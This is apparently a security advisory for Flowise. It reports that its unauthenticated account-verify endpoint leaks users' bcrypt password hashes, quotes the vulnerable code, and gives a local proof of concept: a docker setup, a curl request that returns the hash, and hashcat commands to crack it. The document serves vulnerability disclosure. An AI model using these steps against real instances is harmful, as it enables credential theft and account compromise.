Title: Unauthenticated Credential Hash Exposure via Account Verification Endpoint (Incomplete Fix for #5167)
The POST /api/v1/account/verify endpoint returns the user's bcrypt password hash in the JSON response body. This endpoint is in WHITELIST_URLS and requires no authentication. An attacker who obtains a valid verification tempToken — through email interception, log harvesting, or network sniffing — can call this endpoint to retrieve the victim's password hash for offline brute-forcing.
This vulnerability is an incomplete fix for the secure password reset patch (PR #5167, commit 9e178d6). That patch correctly applied sanitizeUser() to strip credential hashes from resetPassword() and updateUser() responses, but the logically identical verify() method was missed.
When a user registers on a Cloud/Enterprise Flowise instance, the server generates a tempToken stored in the database and sent via email as a verification link. When the user (or anyone with the token) calls POST /api/v1/account/verify, the verify() service method loads the full User entity including the credential column:
packages/server/src/enterprise/services/account.service.ts (lines 507-530):
public async verify(data: AccountDTO) {
// ...
const user = await this.userService.readUserByToken(data.user.tempToken, queryRunner)
// ↑ Loads ALL columns including 'credential' containing the bcrypt hash
data.user = user // ← Full entity with credential hash assigned
data.user.tempToken = ''
data.user.tokenExpiry = null
data.user.status = UserStatus.ACTIVE
data.user = await this.userService.saveUser(data.user, queryRunner)
// ...
return data // ← credential hash is still present in data.user!
}The controller returns this directly to the HTTP response without any sanitization:
packages/server/src/enterprise/controllers/account.controller.ts (lines 37-45):
public async verify(req: Request, res: Response, next: NextFunction) {
const data = await accountService.verify(req.body)
return res.status(StatusCodes.CREATED).json(data)
// ↑ Entire AccountDTO including credential hash serialized to JSON
}For comparison, the patched resetPassword() method in the same file returns { message: 'success' } instead of the full data object. The sanitizeUser() utility exists but is simply not called in the verify() code path.
The endpoint is whitelisted in packages/server/src/utils/constants.ts (line 30):
export const WHITELIST_URLS = [
// ...
'/api/v1/account/verify', // ← No auth required
// ...
]Prerequisites: A running Flowise instance (Cloud/Enterprise mode with email verification, or open-source with a manually set tempToken).
Step 1. Start Flowise and register a user:
docker run -d --name flowise-verify -p 3000:3000 flowiseai/flowise:latest
sleep 40Register an account at http://localhost:3000 (e.g., admin@test.com / AdminPassword123!).
Step 2. Set a verification token (this step simulates what happens automatically on Cloud/Enterprise when a user registers with email/password):
docker exec flowise-verify sqlite3 /root/.flowise/database.sqlite \
"UPDATE user SET tempToken='poc-test-token-12345', tokenExpiry='2030-01-01T00:00:00', status='unverified' WHERE email='admin@test.com';"Step 3. Call the unauthenticated verify endpoint:
curl -s -X POST http://localhost:3000/api/v1/account/verify \
-H 'Content-Type: application/json' \
-d '{"user":{"tempToken":"poc-test-token-12345"}}' | python3 -m json.tool{
"user": {
"id": "7dea121d-c147-4add-a861-afc757cb2753",
"name": "Admin User",
"email": "admin@test.com",
"credential": "$2a$10$pCyqk7GX6VlC5d/hqM5oYOAgKIN3f6n5UkXKkqx58N6T59wf7ERrW",
"tempToken": "",
"tokenExpiry": null,
"status": "active",
"createdDate": "2026-03-05T09:09:27.000Z",
"updatedDate": "2026-03-05T09:10:31.000Z",
"createdBy": "7dea121d-c147-4add-a861-afc757cb2753",
"updatedBy": "7dea121d-c147-4add-a861-afc757cb2753"
},
"organization": {},
"organizationUser": {},
"workspace": {},
"workspaceUser": {},
"role": {}
}The credential field contains the bcrypt password hash. This can be cracked offline with hashcat:
echo '$2a$10$pCyqk7GX6VlC5d/hqM5oYOAgKIN3f6n5UkXKkqx58N6T59wf7ERrW' > hash.txt
hashcat -m 3200 hash.txt wordlist.txtAn unauthenticated attacker who obtains a valid verification tempToken can retrieve the target user's bcrypt password hash. This enables:
- Offline password cracking — bcrypt hashes, while computationally expensive, are crackable with GPU clusters, particularly for weak passwords.
- Credential stuffing — cracked passwords can be reused against other services where the user has the same credentials.
- Log-based exposure — server-side logging (APM, SIEM) of response bodies captures the hash in plaintext across logging infrastructure.
- Self-exposure — every user who verifies their email via the standard flow receives their own hash in the browser's network tab, exposing it to browser extensions and client-side scripts.
- Ecosystem: npm
- Package name: flowise
- Affected versions: <= 3.0.12
- Patched versions:
- Severity: Medium
- Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
| Permalink | Description |
|---|---|
| https://github.com/FlowiseAI/Flowise/blob/643ebf533550460d7688f9e636174885ba2bb5cf/packages/server/src/enterprise/services/account.service.ts#L507-L530 | The verify() method that loads the full User entity (including credential) and returns it in the response without calling sanitizeUser(). |
| https://github.com/FlowiseAI/Flowise/blob/643ebf533550460d7688f9e636174885ba2bb5cf/packages/server/src/enterprise/controllers/account.controller.ts#L37-L45 | The controller that serializes the full AccountDTO (including credential hash) directly to the HTTP response. |
| https://github.com/FlowiseAI/Flowise/blob/643ebf533550460d7688f9e636174885ba2bb5cf/packages/server/src/utils/constants.ts#L30 | The WHITELIST_URLS entry that exempts /api/v1/account/verify from all authentication checks. |